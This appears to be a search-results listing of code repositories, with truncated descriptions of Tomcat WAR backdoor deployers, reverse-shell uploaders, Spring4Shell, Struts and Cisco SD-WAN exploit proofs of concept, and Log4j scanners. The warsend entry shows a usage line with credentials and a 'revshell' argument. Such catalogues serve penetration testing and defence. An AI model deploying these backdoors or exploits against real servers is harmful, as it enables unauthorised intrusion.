Iran-War-Media

Iran War Media Monitor Read the Full Deep Dive Introduction This project monitors news coverage of the war between Iran, Israel, and the United States. You can use this repository to: 1. Create a corpus of media articles in English 2. Identify authors and news media outlets to keep track of who...

tomcatWarDeployer

tomcatWarDeployer Apache Tomcat auto WAR deployment & pwning penetration testing tool. What is it? This is a penetration testing tool intended to leverage Apache Tomcat credentials in order to automatically generate and deploy JSP Backdoor, as well as invoke it afterwards and provide nice shell...

godofwar

GodOfWar - Malicious Java WAR builder A command-line tool to generate war payloads for penetration testing / red teaming purposes, written in ruby. . hhh hhhhhhh hhhhhhhh hhhhhhhh+ hhhhhhhh' hhhhhhhh. hhhhhhhhh ..-- hhhhhhhhh -sh/.. +. hhhhhhhhh: /+/:-/+ss- hhhhhhhhhh: /MMMss:. hhhhhhhhhh: .MMMMM...

CVE-2022-22965

Análisis de CVE-2022-22965 Spring4Shell Descripción de la vulnerabilidad Spring4Shell es el nombre de un CVE que existe en Spring Core del Spring Framework. Con una puntuación CVSS 3.x de 9.8, la vulnerabilidad está clasificada en el nivel de riesgo más alto crítico. Esta vulnerabilidad permite a...

spring4shell-exploit-poc

Spring4Shell PoC de Explotación Explota una aplicación Spring vulnerable a la vulnerabilidad Spring4Shell. Lea más acerca de Spring4Shell en nuestro blog. Uso Requisitos: Docker y docker-compose $ ./exploit.sh Aplicación Spring Vulnerable La aplicación Spring vulnerable contiene un manejador de...

spring4shell-poc

Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...

Spring4Shell-POC

Spring4Shell-POC Local reproduction process of Spring4Shell vulnerability Environment Preparation Environment: docker, docker-compose mvn package, generate ./target/ROOT.warshell mvn package Start the serviceshell docker-compose up -d Stop serviceshell docker-compose down Reproduction Process Run...

CVE-2023-50164-Apache-Struts-RCE

Contains vulnerable WAR file and docker file that can be used to test CVE-2023-50164-Apache-Struts-RCE. This dockerfile and vulnerable application is compiled and designed using resources and code from https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE. Thanks to him for such a detaile...

cve-2023-50164

CVE-2023-50164 Versiones vulnerables Struts 2.0.0 - Struts 2.3.37 EOL Struts 2.5.0 - Struts 2.5.32 Struts 6.0.0 - Struts 6.3.0 Versiones en las que se ha corregido la vulnerabilidad Struts 2.5.33 Struts 6.3.0.2 Script de búsqueda Windows/PowerShell Para PowerShell 5.1 y posteriores. Escrito por...

Spring4Shell-PoC-exploit

Spring4Shell - PoC CVE - 2022 - 22965 Versiones afectadas : Versiones de Spring Framework 5.3.0 a 5.3.17, 5.2.0 a 5.2.19 y versiones anteriores Java JDK 9 Versiones de Apache Tomcat inferiores a 10..0.20, 9.0.62 y 8.5.78 Las aplicaciones empaquetadas como un WAR tradicional con dependencia...

spring-core-rce

spring-core-rce spring core rce 简单利用 war可以使用 https://github.com/fengguangbin/spring-rce-war docker环境可以使用 https://github.com/lunasec-io/Spring4Shell-POC 也可以使用vulfocus的在线环境 http://vulfocus.io/ 或者vulhub的靶场 https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965...

CVE-2022-22965

CVE-2022-22965 CVE-2022-22965 EXP\n 一般环境需求： 1.是否使用Spring框架，若未使用，则不存在该漏洞 2.是否使⽤Spring参数绑定，若未使用，则不存在该漏洞 3.中间件使用的JDK版本，若版本号小于9，则不存在该漏洞 4.当前使用的中间件是否为Tomcat，若未使用Tomcat，则暂不受该漏洞影响。 5.Tomcat是否启用了AccessLog，若未启用，则暂不受该漏洞影响 在server.xml配置文件中，通过org.apache.catalina.valves.AccessLogValve关键字可定位到AccessLog相关配置。...

Spring-CVE

Spring CVE This includes CVE-2022-22963, a Spring SpEL / Expression Resource Access Vulnerability, as well as CVE-2022-22965, the spring-webmvc/spring-webflux RCE termed "SpringShell". CVE-2022-22963 In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing...

warsend

WARSend Apache Tomcat Manager API WAR Shell Upload Prerequisites Credentials Text API Access to Tomcat Manager $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |//...

cve-2023-50164-poc

PoC para CVE-2023-50164 Instalación Para instalar esta herramienta debes tener Go versión al menos 1.20 instalado y configurado. $ go install github.com/dwisiswant0/cve-2023-50164-poc@latest Alternativamente, puedes compilarla por ti mismo: $ git clone...

log4fix

log4fix 该工具用于检测和修复 log4j log4shell 漏洞 CVE-2021-44228，通过查找并从 .jar/.war/.ear 文件中移除 JndiLookup 类，零依赖且免费。 该工具已在以下环境中测试通过： - Linux 32位和64位 - Windows 32位和64位 - OpenBSD 64位 该工具使用 Go 编程语言编写，这意味着零依赖且拥有可随处运行的独立二进制文件。 安装...

CVE-2020-1938-Exploitation

Explotación de CVE-2020-1938 Subida arbitraria de JSP en Apache Tomcat que conduce a RCE Descripción CVE-2020-1938 es una vulnerabilidad crítica que afecta a Apache Tomcat desde 9.0.0.M1 hasta 9.0.0.30, 8.5.0 hasta 8.5.50 y 7.0.0 hasta 7.0.99 ⚠️ Esto fue explotado en un laboratorio de Hack The Box...

CVE-2026-20127_EXP

CVE-2026-20127EXP Cisco Catalyst SD-WAN Authentication Bypass Vulnerability CVE-2026-20127 Exploit EXP Basic Usage python scan.py -f targets.txt Display Detailed Information python scan.py -f targets.txt -v Adjust Thread Count and Save Results python scan.py -f targets.txt -t 10 -o vulnerable.txt...

CVE-2007-1567

🐞 CVE-2007-1567: War FTP Daemon 1.65 - Stack-Based Buffer Overflow Classic stack-based buffer overflow in War FTP Daemon 1.65 demonstrating old-school remote code execution through malformed FTP commands. 📑 Table of Contents Why this repository exists Why this vulnerability is interesting Context...

inspec-log4j

inspec-log4j Este perfil escanea en busca de versiones vulnerables de archivos JAR de Log4j Core directamente en el sistema de archivos y embebidos en archivos WAR. Ejecutar el perfil localmente git clone https://github.com/trickyearlobe/inspec-log4j inspec exec inspec-log4j Ejecutar el perfil...